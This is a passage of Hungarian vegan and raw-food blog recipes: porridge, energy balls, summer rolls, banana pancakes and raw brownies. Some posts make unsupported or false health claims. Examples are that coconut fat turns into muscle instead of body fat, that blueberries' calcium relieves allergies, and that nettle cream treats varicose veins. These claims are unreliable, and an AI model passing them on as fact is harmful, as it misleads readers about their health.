gyömbért és keverd meg. Majd add hozzá a paradicsomot és főzd addig amíg el nem kezd besűrűsödni. Amikor már nem túl vizes tedd bele a zöldbabot és addig főzd amíg, a zöldbab megpuhul. A végén keverd hozzá a házi sajtot és baszmati rizzsel tálald:). Vegyszermentes (bio) alapanyagokat használj:)
Kókuszos tekercs
2015. július 13. Gitta nyersétel blogja
Ha szereted a kókusz ízét, akkor ez az édesség nagy kedvenced lesz. Előnye, hogy 6 perc alatt elkészül, még egy fél órát érdemes várni, amíg a gyümölcslap felpuhul, és már fogyaszthatod is. Kevés hozzávaló kell hozzá, még egy gyerek is el tudja készíteni, ha a gyümölcslap rendelkezésre áll. Ha magadnak készíted, akkor nem érdemes ilyen kicsi falatokra felvágni, a kész tekercset lehet úgy enni, mint egy palacsintát. Ha ünnepi asztalra teszed, akkor ügyelj arra, hogy egyforma, helyes szeletekre vágd fel, és menta levelekkel, vagy valamilyen piros gyümölccsel tálald, hogy már a látványa is elkápráztassa az asztalnál ülőket. Hozzávalók 1 tekercshez: 1 darab kb 19x19cm-es gyümölcslap 15 dkg kókuszreszelék 1 evőkanál méz (vagy más édes szirup, ha vegán vagy) A kókuszreszeléket összekeverjük a mézzel, egy jól kenhető masszát fogunk kapni. Ezt egyenletesen rásimítjuk a gyümölcslapra, majd feltekerjük. Alufóliába csomagoljuk, és legalább 30 percre hűtőszekrénybe tesszük. Ezután már lehet szépen szeletelni.
Csalánkrém
Azt olvastam, hogy ez a krém nagyon jó visszeres problémák kezelésére. Elkészítettem apunak, remélem, tényleg segít ;) Azért kapta az üveg a szép ruháját, mert ajándékba készült <3 Picit eltér a receptem a netestől, több csalánnal készítettem ;) Hozzávalók: 100 gr extra szűz olívaolaj 100 gr kókuszolaj 1 kis kosárnyi friss csalán a kertből 20 […]
Édeni zabkása
Édeni, gyümölcsökben gazdag zabkása. Szeretem a nyarat, amikor mindenféle természet-adta földi finomságban "dúskálhatunk". Kimegyünk a gyümölcsösbe (ha van), és frissen szedhetünk nyári almát, körtét, barackot, meggyet. Vagy a piacon a kívánatosabbnál kívánatosabb gyümölcsöket kínálják számunkra. Ebben az időszakban igazán érdemes felturbózni a reggelinket. Ha épp csak otthon vagyunk vagy munkahelyünkre vinnénk a reggelinket, akkor az elfogyasztásával töltött időt és ízeket tehetjük színesebbé, ha sok gyümölcsöt csempészünk pl. reggeli kásánkba. Igazi örömforrás, amivel jól indul a napunk. Pár szem gyümölcs, egy bögrényi zabpehely és teljes értékű reggeliben lehet részünk. A zabpehely a koleszterinszintet jó irányba befolyásolja. A vérben a rossz LDL koleszterinszint csökkenthető, ha rendszeresen fogyasztunk főtt zabpelyhet. Fogyasszunk idénygyümölcsökkel minél gyakrabban zabkását, ezáltal (t)együnk az egészségünkért napról napra!
A recept:
Hozzávalók:
1 adag zabpehely (pl. 1 nagyobb bögrényi)
víz
meggy
barack
sárgadinnye
körte
alma
igény esetén: növényi tej
Elkészítés:
Ha apró szemű zabpelyhünk van, akkor a lábosban, amiben főzni fogjuk, kicsit megpirítjuk. Épp, amíg illata lesz a pirítástól. Majd felöntjük vízzel. Figyelve és olykor megkeverve addig főzzük, míg a zabpehely meg puhul.
Ha nagy szemű zabpehellyel dolgozunk, akkor ugyanígy megpiríthatjuk, de egy éjszakára akár be is áztathatjuk hideg vízbe. Másnap pedig felfőzzük, felmelegítjük. Az ilyen zabpelyhek több főzési időt igényelnek, de elképzelhető, hogy egy éjszaka alatt magába szívja az összes vizet.
Mivel a főzése nem tart sokáig, így főzés előtt is hozzáadhatjuk a felszeletelt gyümölcsöt, ami most igencsak gazdagon kerül(t) bele, mivel úgysem fő olyan sokáig, hogy nagyon károsodna hő hatására.
Víz helyett és vízzel együtt is használhatunk valamilyen növényi tejet . Külön ízvilágot kölcsönöz reggelinknek. Azonban ha lehet, ne használjunk növényi tejport, vagy ipari úton készített növényi tejet, mivel ezek egyéb adalékanyagokat is tartalmaznak, amelyekkel már nem lesz meg a bevezetőben említett jótékony hatása - mint a koleszterin-csökkentés és lassú "cukorfeldolgozás".
Bevallom, ez az édeni zabkása nem hiányolta a növényi tejet. A gyümölcsöktől olyan finom íze lett, mintha csak gyümölcsrizst ettem volna.
Csokis málna kockák
2015. július 5. Gitta nyersétel blogja
Itt a málna szezon, mikor is készíthetnénk el ezt az egyszerű, mégis nagyon finom édességet, ha nem most? Ennek a receptnek tetszik az egyszerűsége, hogy kevés alapanyagból áll, és mégis sikeres nyers édesség. Használhatunk kész csokoládét is, jó minőségű, bio csokit olvasszunk fel, és abba mártogassuk bele a gyümölcszselé darabokat. Hozzávalók: 1/2 kg málna (lehet fagyasztott is) 6 datolya apró kockákra vágva (ezzel is édesítünk) 2-3 evőkanál utifűmaghéj (psyllium husk) 2 evőkanál kakaó vagy karobpor 5 dkg reszelt kakaóvaj (vagy ha nincs, akkor kókuszolaj) édesítés tetszés szerint, de itt jobb választás a stévia vagy a xilitol A gyümölcsöt összeturmixoljuk a datolyával, és kicsit szűrőbe tesszük, hogy a felesleges lé lecsöpögjön. Hozzáadjuk az utifűmaghéjat, jól elkeverjük, és 1-2 cm vastagon elterítjük egy lapos tálcán. Fél órára a hűtőszekrénybe tesszük, hogy megdermedjen. Az így kapott gyümölcszselét felkockázzuk, majd belemártogatjuk a csokimázba, és betesszük egy rácson a fagyasztóba 5 percre. A csokimázhoz felolvasztjuk a kakaóvajat (vagy kókuszolajat), majd hozzáadjuk a kakaót, az édesítőt, és jól összedolgozzuk. Tipp: banánból, meggyből, őszi vagy sárgabarackból is nagyon finom!
Rakott kelkáposzta lecsóval
Hozzávalók:
1 üveg lecsó
30 dkg barna rizs
2 fej közepes vöröshagyma
1 közepes fej kelkáposzta
ízlés szerint só, majoránna, vegamix
Öntethez:
4 dl növényi tejszín (pl.: zab, kókusz, rizs)
pici só
4 ek olíva olaj
2 ek kukoricakeményítő
kevés víz
olaj a tál kikenéséhez
[...] Bővebben!
Fűszeres-bundás nyári tekercs, házi paradicsomos mártogatóssal (gluténmentes, laktózmentes, tojásmentes, vegán)
Fűszeres-bundás nyári tekercs, házi paradicsomos mártogatóssal (gluténmentes, laktózmentes, tojásmentes, vegán) Egy ismerősöm teljesen oda van a puffasztott kölesgolyókért, amiket filmnézés közben szoktak jóízűen nassolni. Én is kedvet kaptam, hogy megkóstoljam ezeket a roppanós pufikat. :-) Mivel az ehhez hasonló ételeket és alapanyagokat online rendelem, ezért első nekifutásra is több zacskóval kértem. Most már tudom, hogy nem kellett volna, mert, ahogy mondani szokták, "ízlések és pofonok", nálunk nem lett népszerű a natúr kölesgolyó... puffasztott kölesgolyók Elkezdtem hát törpölni rajta, hogy mit is kezdhetnék velük, hogyan használhatnám fel őket valamelyik receptben?! Sokat gondolkoztam, míg rájöttem, hogy gluténmentes panírban fogom felhasználni a kölesgolyóimat! :-) Oké, de mit panírozzak be??? Körbe néztem a konyhámban, hogy milyen maradékok vannak, amiket sürgősen el kéne fogyasztani, mielőtt kimásznak a hűtőből, vagy lejár a szavatosságuk. Nem szeretek ételt kidobni, hisz nélkülünk is hatalmas étel pazarlás megy nap, mint nap a világban. :-( (Erről láthattok is egy nagyon jó kis videót "Friss és máris a szemétben" címmel a Youtube-on.) fűszeres - bundás nyári tekercs (mindenmentes)A konyhai kutakodás eredménye: fáradt zöldségek, és egy csomag rizslap. Ebből pedig egyértelmű, hogy vietnámi nyári tekercs fog készülni, de kölesgolyós gluténmentes panírban! :-) Már a gondolat is felcsigázott, mert tudtam, hogy valami különleges, finom, egészséges, és tápláló fog belőle megszületni, habár azzal is tisztában voltam, hogy ez nem egy pikk-pakk kész gyors étel. És így is lett! Hosszú órákat álltam a konyhában, de megérte, mert nagyon finom és tálpláló ebéd lett belőle, amit akár ételallergiás vendégek elé is nyugodt szívvel tehetünk, mert rendhagyó glutén-, tojás-, és laktózmentes panírt kaptak a tekercsek. ;-) A fűszeres-bundás nyári tekercs mellé készült egy házi paradicsomos mártogatós, és az egészet egy friss, ropogós saláta ágyon tálaltam. Íme egy egyszerű, könnyen emészthető, tápláló, egészséges, de időigényes mindenmentes, vegán recept! :-) Fűszeres-bundás nyári tekercs, házi paradicsomos mártogatóssal (gluténmentes, laktózmentes, tojásmentes, vegán) HOZZÁVALÓK: (kb.10 tekercshez) nyári tekercsekhez: Akármilyen otthon található zöldségből elkészíthetjük a tölteléket. Nekem most ez volt itthon: 1/2 sárga kaliforniai paprika 1/2 piros kaliforniai paprika 1/2 zöld kaliforniai paprika 5 szem retek 2 marék fodros kel 2 szál tavaszi hagyma 1 érett avokádó frissen őrölt fekete bors, Himalája só 1 zacskó rizslap (kb.22 cm átmérőjű) mindenmentes panírhoz: rizs liszt (vagy egyéb gluténmentes liszt) 4 bögre puffasztott natúr kölesgolyó (A bejegyzés alján, a "Megjegyzés" rovatban találsz még más gluténmentes "zsemlemorzsa" variációkat.) vegán tojás: 1 ek lenmagliszt és 5 ek víz keveréke + 1 dl tiszta víz (ha nem fontos, hogy tojásmentes legyen az étel, használhatunk hagyományos tojást is) fűszerek tetszés szerinti mennyiségben: chilipor, fehér őrölt bors, Himalája só (én jó fűszeresre készítettem) 2 marék szezámmag paradicsomos mártogatóshoz: 300 g érett paradicsom 1 ek édesítő (pl.: eritrit, vagy nyírfacukor) 1 tk Himalája só 4 gerezd fokhagyma 1 ek kókusz olaj 1 ek szárított olasz fűszerkeverék vagy oregánó 1 dl tiszta víz zöldség szivárvány ELKÉSZÍTÉS: A tölteléknek szánt zöldségeket felaprítjuk apró kockákra, majd jól összekeverjük a fűszerekkel. A rizslapokat "kifőzzük" a csomagoláson előírt módon, majd gyorsan megtöltjük a fűszeres zöldséges töltelékkel, és feltekerjük. (Ez a rizslap készítés nem is olyan egyszerű, mint, aminek látszik. Itt egy kis képpel illusztrált segítség, hogy hogyan is lehet a legegyszerűbben elkészíteni őket.) Ha sikerül selejtet gyártanunk, ne dobjuk ki azt sem, mert bepanírozva és kisütve, a paradicsomszószba mártogatva nagyon finom rizsgömbőcöket készíthetünk belőlük. ;-) Fűszeres-bundás nyári tekercs, házi paradicsomos mártogatóssal (mindenmentes Tehát készen vannak a nyers zöldséggel töltött rizslapok, amiket már önmagában is el lehet fogyasztani. Akár itt meg is állhatunk, ha nem szeretnénk bundával ellátni a vietnámi nyári tekercseket. Így is nagyon finom, és mivel a töltelékként felhasznált zöldségek nyersek, ezért sokkal több vitamint, ásványi anyagot, tápanyagot és energiát tartalmaznak, mint a későbbi bundás és sütött testvéreik. nyári tekercs (gluténmentes, laktózmentes, tojásmentes, vegán) Ha azonban tovább megyünk, akkor készítsük elő a mindenmentes panírozáshoz szükséges alapanyagokat. Egy tálba tegyünk rizslisztet (vagy más gluténmentes lisztet), egy másik tálba keverjük ki a vegán tojást (ha nem szeretnénk tojást használni.). Ehhez 1 ek lenmaglisztet keverjünk össze 5 ek tiszta vízzel (süteményekbe kevesebb víz is elég), és hagyjuk 5 percet állni. Ez a keverék elkezd kocsonyásodni, és tojásszerűen nyúlni fog. Keverjünk hozzá 1 dl tiszta vizet, vagy növényi tejet (pl.:rizstejet). Az egészet keverjük alaposan el (mint mikor felverjük a tojást). A panírozáshoz szükséges harmadik tálba pedig daráljuk le a puffasztott kölesgolyókat, keverjük hozzá a szezámmagot, és a fűszereket (chili, bors, só). Kész a három mindenmentes panír hozzávaló, most már csak meg kell forgatni a tekercseket bennük, bundázzuk a megszokott módon. A kész fűszeres-bundás tekercseket kisüthetjük forró olajban is a hagyományos módon, de én inkább az olajkímélő, kalóriabarát, sütőben sült verziót választom ezúttal is. Egy kevés kókusz olajjal (elhagyható) meglocsolhatjuk a panírozott tekercseket, és tegyük őket egy sütőpapíron a 220 °C -ra előmelegített sütőbe. Légkeverésesen 15 percig süssük az egyik oldalt, majd 10 percig grillezős módban a másik oldalt. Így enyhén aranybarna, ropogós, de mégis puha tekercseket kapunk. Fűszeres-bundás nyári tekercs, házi paradicsomos mártogatóssal (gluténmentes, laktózmentes, tojásmentes, vegán) Míg sülnek a tekercsek, készítsük el a házi paradicsomos mártogatóst, ami megadja a "hab a tortán" érzést ennél a rendhagyó ételnél. Turmixoljuk le a nyers p aradicsomokat. Egy kevés forró kókusz olajon futassuk meg a préselt fokhagymákat, majd adjuk hozzá a paradicsom turmixot, az édesítőt, a sót, 1 ek szárított olasz fűszert, és 1 dl tiszta vizet. Az egészet főzzük kevergetés mellett addig, amíg be nem sűrűsödik (kb.20 perc). Miután jönnek a finom illatok, és elkészült a paradicsom szósz, tegyük félre a meleg lapról, és hagyjuk hűlni pár percet. Végül kézi botmixerrel krémesítsük. Friss és ropogós saláta ágyon, házi paradicsom szósszal tálalhatjuk is a bundás és fűszeres zöldséges tekercseinket! Fűszeres-bundás nyári tekercs, házi paradicsomos mártogatóssal (gluténmentes, laktózmentes, tojásmentes, vegán) Képzelőerőben gazdag, élménydús konyhai ténykedést, és finom, de tápláló végeredményeket kívánok! Jó étvágyat hozzá! :-) Megjegyzés1: Természetesen gluténmentes panírt nem csak kölesgyolyókból készíthetünk. Használhatunk piritósként megszárított, majd ledarált gluténmentes kenyeret is, mint zsemlemorzsa. Natúr kukorica pelyhet is alkalmazhatunk gluténmentes bundának. Engedjük el a fantáziánkat, és hagyjuk, hogy az alapanyagok kilépjenek a megszokott szerepeikből, a tradíciókból! Erről szól a reform étkezés! Légy kreatív, és rugalmas! ;-) Megjegyzés2: "A nyári tekercset (vagy másként, a vietnámi tekercset), a kínai konyhából ismert tavaszi tekercstől alapvetően az különbözteti meg, hogy nem búzalisztből készült tésztába göngyölik a változatos tölteléket, hanem leheletvékony rizstésztalapba. A vékony rizspapírba (praktikusan így hívják a szárított, vékony, rendszerint körlappá nyújtott tésztát) tekert zöldségeket, fűszernövényeket, rákokat, halakat, esetleg húst és természetesen halszószt, üvegtésztát és fűszereket tartalmazó tekercs nyersen éppúgy asztalra kerül, mint forró, bő zsiradékban kisütve. A nyers változatot gyakran az asztalnál ülők készítik el ízlésük szerint az előre kikészített töltelékek közül válogatva. A rizspapírt természetesen minden esetben vízbe kell áztatni, hogy megpuhuljon, és némi gyakorlást igényel, míg szép szabályosra sikerülnek a rendkívül ízletes és egészséges tekercsek." Forrás: Mindmegette
Nyers karobos-málnás torta
Hozzávalók 25 cm-es tortaformához:
Torta alaphoz:
22,5 dkg darált mandula
7,5 dkg aszalt füge
7,5 dkg datolya
csipet só
1,5 ek kókuszolaj
Torta krémjéhez:
2 db avokádó
5 ek karobpor
4 ek méz
7 ek kókuszolaj
csipet só
1 rúd vanília kikapart magjai vagy 1 tk vanília aroma
1 ek útifű maghéj
(kevés víz, amennyiben szükséges a turmixoláshoz)
szilvalekvár (saját készítésű, cukor-és tartósítószer-mentes)
díszítéshez málna
[...] Bővebben!
Reggelire fel! - Fehérjedús Banán palacsinta, házi áfonya lekvárral (finomított cukor -, fehér liszt-, és tartósítószer - mentes)
Fehérjedús banán palacsinta, házi áfonya lekvárral (finomított cukor-, fehér liszt-, és tartósítószer - mentes) Milyen gasztroblog az, ahol nem találunk palacsinta recepteket??? Rájöttem, hogy palacsinta témában tartozom nektek, mert nem nagyon láttalak el titeket ötletekkel... Eddig! ;-) Pedig milyen sokféle képpen, változatos ízben, különböző töltelékkel, egészséges alapanyagokból, rendhagyó formákban és más más diétába beilleszthető módon el lehet készíteni ezt az egyszerű édességet, reggelit, vagy akár főételt is! A világ különböző pontjain ünneplik a farsangi szezon lezárásaként az ún. "Pancake Day"-t, azaz a "Palacsinta Nap"-ot. Angliában, Írországban, Amerikában, de még Brazíliában is találkozhatunk ezzel az ünneppel. Ha pedig ennyire szeretik mindenhol a palacsintát, akkor mi se maradhatunk ki belőle! ;-) Fehérjedús banán palacsinta (finomított cukor-, búzalisztmentes) Készíthetjük amerikai stílusban, vastag tésztával megkenősen; holland módon kis pamacsokként mártogatósan (poffertjes); magyar módon, vékony tésztával feltekerősen; rakott palacsintaként, vagy akár palacsinta tortát is építhetünk. Lehet egyszerűen édes, vagy sós, gyümölcsös, vagy fűszeres, de még húsos is. ;-) "túrórudi" zab palacsinta torta Korábban hoztam nektek egy látványos, kakaós-túrós túrórudi zabpalacsinta tortát, most pedig az egyik nagy kedvencünkkel, a banán palacsintával ismertetlek meg titeket. :-) A hagyományos, mindenki által ismert palacsinta tészta nehezen emészthető, tápanyag szempontjából értéktelen, fehér búzalisztet, és gyakran fehér cukrot tartalmaz. Ha szeretnénk tápláló palacsintákat fogyasztani, ismerkedjünk meg néhány reform, diétás, vagy paleo palacsinta recepttel, és ezentúl készítsük inkább emészthetőbb formában őket! Most egy magas fehérje- és rosttartalmú, energiadús, gyorsan elkészíthető, hosszú ideig jóllakottság érzést nyújtó, tápláló reggelinek is tökéletes palacsintát hoztam nektek, melyet gyakran elkészítek, főleg, mikor elutazunk valahová. Tökéletes útravaló! ;-) Fehérjedús banán palacsinta, házi áfonya lekvárral (finomított cukor-, fehér liszt-, és tartósítószer - mentes) Önmagában, melegen és hidegen is nagyon finom a banán palacsinta! :-) De ezúttal házi áfonya lekvárt készítettem mellé, mert itt az allergia időszak, és az áfonya, a magas Kalcium tartalmának köszönhetően csökkenti a bosszantó allergiás tüneteket. Meg egyébként is közeledik az áfonya szezon, amit már úgy vártunk! :-) HOZZÁVALÓK (kb.20 db 7 cm átmérőjű amerikai palacsintához): - 3 db érett banán - 60 g zab (porrá darálva) - 1 ek kókusz olaj - 3 db bio tojás - 1/2 tk szódabikarbóna - kevés zsiradék (kókusz olaj) a sütéshez - - 150 g fekete áfonya - 1 ek útifűmaghéj vagy chia mag - 1 ek tiszta víz Fehérjedús banán palacsinta, házi áfonya lekvárral (finomított cukor-, fehér liszt-, és tartósítószer - mentes) ELKÉSZÍTÉS: Kaptam egy szuper kis palacsinta sütőt, mellyel amerikai palacsintákat süthetek könnyedén, szinte zsiradékmentesen, jópofa "smiley face" formában. Nagyon szeretem! :-) Természetesen jó minőségű teflon palacsinta sütőben is elkészíthetjük a banán palacsintáinkat. Ezesetben a tésztából kanalazzunk kis tenyér méretű plecsniket a palacsintasütőbe, és süssük a megszokott módon. (Egyik oldal aranybarna... megfordít, másik oldal aranybarna). Ne próbáljunk meg ebből a tésztából nagy és vékony, hagyományosan feltekerhető palacsintát készíteni, mert nem fog sikerülni. Ahhoz túl zömök és vastag ez a tészta. Fehérjedús banán palacsinta (finomított cukor-, búzalisztmentes) És akkor nézzük a lassan felszívódó, laktató banán palacsinta tésztánkat. Tegyük az érett banánokat a tojásokkal a turmix gépbe, és turmixoljuk egynemű krémmé. Daráljuk a zabot, zabliszt állagúra. Keverjük össze egy keverő tálban a darált zabot, a banános tojással, a szódabikarbónával, a kókusz olajjal, és hagyjuk állni kb. 10 percet, hogy a zab megszívhassa magát. Melegítsük fel a palacsintasütőnket, kenjük ki kevés zsiradékkal, és közepes hőmérsékleten süssük aranybarnára az amerikai stílusú, vastag palacsintáinkat. Süssük ki az összes tésztát, és akár már fogyaszthatjuk is a finom és puha palacsintáinkat! ;-) Házi áfonya lekvár (finomított cukor-, és tartósítószer - mentes) A cukor- és tartósítószermentes házi áfonya lekvárhoz a megmosott fekete áfonyát turmixoljuk össze 1 evőkanál vízzel, és 1 ek útifűmaghéjjal vagy chia maggal. Tegyük be a hűtőbe egy fél órára és kész is a vitaminban gazdag, cukormentes áfonya lekvárunk. (Ha nincs otthon útifűmaghéj, vagy chia mag, akkor is elkészíthetjük, de akkor kevésbé fog meglekvárosodni az áfonya turmix. Inkább áfonya püré állagot fogunk kapni.) Fehérjedús banán palacsinta, házi áfonya lekvárral (finomított cukor-, fehér liszt-, és tartósítószer - mentes) Energiadús, tápanyagban gazdag palacsintázást kíván nektek a Zöld Avocado! :-)
Nyers vegán pisztáciás energia golyók
2015. június 23. Zizi kalandjai
Ezek az energia golyók már megint kamra tisztításnak köszönhetőek. A pisztácia szavatossági ideje lejárófélben volt, így gyorsan össze kellett dobni valamit. Nagyon szeretjük ezeket a golyókat, mert sok tápanyagban gazdag finomságot lehet egy falatba belesűríteni. Nagyobb (18 hónapos kortól) gyerekeknek már kiváló snack és uzsonna lehet, ha nincsen allergia a magvakra.
A hozzáadott kókuszzsír miatt zsírosabb lesz az állaga, mint más datolya golyóknak, de a formázás és hűtőbe tétel után ez már egyáltalán nem lesz érzékelhető. A baobabportól nem kell megijedni, én ajándékba kaptam és smoothiekba, energiagolyókba szoktam beletenni. Használható más szuper élelmiszer, például kendermagpor, helyette, de el is hagyható.
Ádi is nagyon szereti őket. Továbbra is sajátos nyomokat hagy a fogyasztásában. Ő mindegyik golyóba beleharap egy kicsit, de soha nem eszik meg egy teljes golyót.
Nyers vegán pisztáciás energia golyók
Hozzávalók 20-30 db-hoz:
– 1 bögre pisztácia
– 1 bögre dió vagy mandula
– 20-22 szem puha datolya (friss vagy aszalt), kimagozva
– csipet só
– 1 evőkanál mandulavaj
– 1 evőkanál extra szűz kókuszzsír
– 1 evőkanál darált lenmag
– 1 evőkanál chia mag
– 1 evőkanál baobab por (kendermagpor is használható)
– 2 evőkanál (nyers) kakaópor vagy karobpor
Tegyük robotgépbe a pisztáciát és a diót és daráljuk por állagúra. Ekkor adjuk hozzá a kimagozott datolyát és az összes többi alapanyagot. Addig dolgoztassuk a robotgépet, amíg a massza enyhén ragacsossá (kissé zsírossá a kókuszzsír miatt) válik (állítsuk le a gépet és ellenőrizzük az állagot).
Formázzunk golyókat a masszából. Zárt dobozban, hűvös helyen, hőtőben 10-12 napig eláll.
A kis styling asszisztensem igazgatja a golyókat…
Zabpelyhes hagymás bab
2015. június 21. Éltető ételek
Amennyiben teljes értékű növényi fehérjét szeretnénk "tálalni" ebédre, mindenképp figyelembe kell venni a komplettálás elvét. Ez azt jelenti, hogy növényi alapanyagokat úgy kell párosítani, hogy valamennyi esszenciális aminosav a tányérunkra kerüljön. Ilyen komplettálás a hüvelyesek társítása gabonával. Ezért is főztem a hagymás babhoz zabpelyhet. De akár kölessel is tálalhatjuk. Hozzávalók: - 1 csésze chilis bab - 1 csésze csicseriborsó - babérlevél, só, bors, chili - 2 nagy vöröshagyma - 2 gerezd fokhagyma - 1 dl paradicsomlé - 3 marék nagyszemű zabpehely Elkészítése: - A babot és a borsót 1 éjszakára áztassuk be. - Másnap öntsük le róla a vizet, majd friss vízbe tegyük fel főni. Adjunk hozzá 2 babérlevelet. - Mikor már majdnem puha, szórjunk bele úgy 1 teáskanál sót. - Egy serpenyőbe tegyünk 1 evőkanál kókuszolajat, majd dobjuk rá a vékony szeletekre vágott hagymát és részeljük bele a fokhagymát is. Süssük-pirítsuk üvegesre. - Öntsük rá a babot és egy kevéske főzővizet is. Főzzük össze. Mehet hozzá a paradicsomlé, majd a zabpehely. Fűszerezzük. - Kb. 10 perc alatt készen is vagyunk.
Banános, édes falatkák
2015. június 12. Éltető ételek
Újabb egyszerű kekszet készítettem, mely nem az a hagyományos, ropogós keksz, hanem egészen puha a banántól. A nagylányomnak egészen bejött, majdnem megette a felét a délután. Utána már nem is volt éhes. Ezt a kekszet el tudom képzelni mandulatejbe beletördelve és müzliként fogyasztva. Persze mehet mellé sok-sok friss gyümölcs is. Hozzávalók: - 3 nagy ÉRETT banán (kb. 42-45 dkg) - 20 dkg aprószemű zabpehely - 10 dkg apróra tört dió vagy mandula - 6 dkg kókuszolaj - 4 dkg kókuszreszelék - 1/3 tábla keserűcsoki forgács - 3-4 csepp narancsolaj - 1 teáskanál vaníliapor - 1 teáskanál sütőpor - 1/2 teáskanál fahéj - jó nagy csipet só Elkészítése: - A banánt villával vagy bormixerrel dolgozzuk pépesre. - Mindent keverjünk hozzá, és jól keverjük össze. (Már ez így önmagában is nagyon finom.) - A sütőt melegítsük elő. - Egy zsírpapírral bélelt tepsibe (teás)kanalazzuk bele a masszát. Majd lapítsuk le, formázzuk kerekre. - 180 fokon, 15 perc alatt süssük meg.Mint írtam, ez nem egy ropogós, hanem egy kellemesen puha keksz lesz. Ha kihagyjuk belőle az olajos magot és a csokit, akkor a babák is nyugodtan ehetik.
Lecsó gombával és barna rizzsel
A múlt héten a gombás rizs járt a fejemben, ami nálunk paradicsomlében főtt rizs plusz gomba. Nagyon finom tud lenni, de csak fehér rizsből. Ezen totóztam, hogyan lehetne hasonló ízt elérni. Így került gomba némi lecsóba, az pedig a rizsre. Nem ugyanaz, de finom volt. Receptnek nem recept igazán, inkább csak emlékeztető. Nyári gyors kaja. Hála Istennek már otthonról a fóliából jön a paprika és paradicsom, nem a piacról. Különben még nem készülne csak nyersen egy kis saláta belőle. Apa ilyenkor büszkén somolyog, hogy ugyan annyit kelt fel éjszakánként az elején a fűtés miatt, mint én a gyerekhez, de most mikor esszük, milyen jó... Hozzávalók: 1 bögre barna rizs 1/2 kg csiperke gomba 10 db paradicsom 10 db fehér húsú paprika 1 kis fej vöröshagyma 1/2 ek kókuszzsír 1 tk só A barna rizst két és félszeres mennyiségű vízben összességében kb. 50 percig főzzük. A hagymát megtisztítjuk, apróra vágjuk, némi vízzel megpároljuk. Azután rátesszük az olajat, a megtisztított, vékonyra szeletelt gombát, és gyakori kevergetés mellett megvárjuk, míg a gomba "elfővi" a levét. Azután hozzáadjuk az apróra vágott paprikát, pár perc múlva a szintén kis darabokra vágott paradicsomot, sózzuk, és megvárjuk míg minden összefő egy kicsit. Rizsre halmozva fogyasszuk zöld salátával.
Grillezett burgonyasaláta
2015. június 11. Éltető ételek
Újabb egyszerű finomság készült vacsorára. A krumplit nagyon szeretjük, bár azért nem kerül minden nap az asztalra. Vacsorára nagyon jó ötlet. Hozzávalók (2 adag): - 6 db közepes méretű krumpli - 6 db közepes méretű paradicsom - 3 újhagyma - 1 paprika - citromlé, mustár - kókuszolaj - fokhagyma - só, bors Elkészítése: - A burgonyát hámozzuk meg és vágjuk fel kockára. Kb. 10 perc alatt főzzük meg, de még kissé roppanós maradjon. - Közben 1 újhagymát és 1 paprikát vágjunk fel kis darabokra, és kevés olajon dinszteljük meg. - A krumplit szűrjük le, majd öntsük egy tepsibe. Locsoljuk meg olajjal, sózzuk, borsozzuk, fokhagymát reszeljünk rá és jól keverjük össze. Adjuk hozzá a dinsztelt paprikát és a hagymát is. - 220 fokon légkeverés-grillel süssük meg kb. 10 perc alatt. - Közben a paradicsomot szeleteljük fel, a nedvdús belsejét szedjük ki. Tehát csak a külső részét vágjuk fel kis kockára. A megmaradt 2 újhagymát is karikázzuk fel. Ehhez keverjünk 1-2 teáskanál mustárt és nyomjunk bele egy kevéske citromlevet. Sózzuk is. - Amikor megsült a krumpli, hagyjuk pár percig hűlni, majd keverjük hozzá a paradicsomos-hagymás salátát.
Nyers csokikrémes brownie + Nyereményjáték
2015. június 10. Zizi kalandjai
Nyers brownie-t már egyszer csináltam és nagy sikert aratott. Ez abban különbözik, hogy a tetejére került egy krém (eredeti recept innen). Most, hogy itt van végre a meleg időjárás (egy kis jégesővel megspékelve), előnybe kerülnek a hűtött desszertek a sütött desszertek helyett. Jó minőségű alapanyagokra, egy jó robotgépre van szükség, néhány órára a hűtőben és már élvezhetjük is bűntudat nélkül a brownie-t!
A jó minőségű alapanyagon értem például a krémhez használt bio extra szűz kókuszzsírt (természetesen nem extra szűz kókuszzsírt is használhattok). Amióta megismerkedtem az extra szűz kókuszzsírral, azóta imádom. Tudom, tudom, ez egy költségesebb alapanyag, de egyszer mindenképpen érdemes beruházni rá… utána szerintem mindig akartok belőle egy üveggel. Már az illata felemelő, na és az íze… természetes kókusz íz és aroma, de mégsem töményen, csak finoman. Annyira jó, hogy mostanában esténként munka közben nem csokikockákat majszolok, hanem kókuszsírt (vagy inkább olajat ebben a meleg időben) kanalazok a számba.
Kiváló E- és K-vitamin, valamint vas forrás; jó hatással van a hajra, a bőrre. Koleszterinmentes, a szervezetbe kerülve nem zsírpárnává alakul, hanem az izmokban épül be, ezáltal energiát ad és növeli testünk teljesítőképességét. (Hogyan válasszunk jó minőségű kókuszzsírt? Ehhez itt találtok segítséget!)
Nyers csokikrémes brownie
Hozzávalók:
Brownie-hoz:
– 1 bögre dió
– 1 és 1/2 bögre datolya, kimagozva (lehetőleg friss, ha nem jutunk hozzá, akkor aszalt, de jó minőségű legyen, ne legyen fényezőanyaggal kezelve!)
– 1/2 bögre (nyers) kakaópor
– 1/2 bögre hántolt kendermag (elhagyható)
– 1/4 teáskanál tengeri vagy Himalája só
– 1 vaníliarúd kikapart magjai
– 1/4 bögre dió, durvára aprítva
Krémhez:
– 1/2 bögre extra szűz kókuszzsír, olvasztva
– 1/2 bögre (nyers) kakaópor
– 1/4 bögre juharszirup (agavé/datolya szirup is használható)
– 1/4 teáskanál tengeri vagy Himalája só
– 1/2 vaníliarúd kikapart magjai
Egy konyhai robotgépben először daráljuk apró szeműre az egy bögre diót. Ekkor adjuk hozzá a datolyát, a kendermagot, a kakaóport, a sót és a vaníliát. Dolgoztassuk a robotgépet addig, amíg mindent összedarál és egy ragacsos masszát kapunk. Ekkor keverjük hozzá a negyed bögre aprított diót.
Nyomkodjuk ezt a keveréket egy 22*22 cm-es formába (amit béleljünk ki sütőpapírral, hogy utána könnyebben ki tudjuk venni a brownie-t belőle szeleteléshez) és tegyük a fagyasztóba kb. 20-30 percre.
Közben készítsük el a csokikrémet: egy kis lábasban nagyon alacsony láng felett olvasszuk meg a kókuszzsírt, vegyük le a tűzhelyről és adjuk hozzá a kakaóport, a juharszirupot, a sót és a vaníliát. Keverjük az egészet simára.
Vegyük ki a fagyasztóból a brownie-t, öntsük rá a krémet, egyenletesen kenjük el a tetején és tegyük vissza a fagyasztóba újabb 20-30 percre, amíg a krém is megszilárdul. Hűtés után vágjuk kockákra és élvezzük bűntudat nélkül!
*****
NYEREMÉNYJÁTÉK!!!
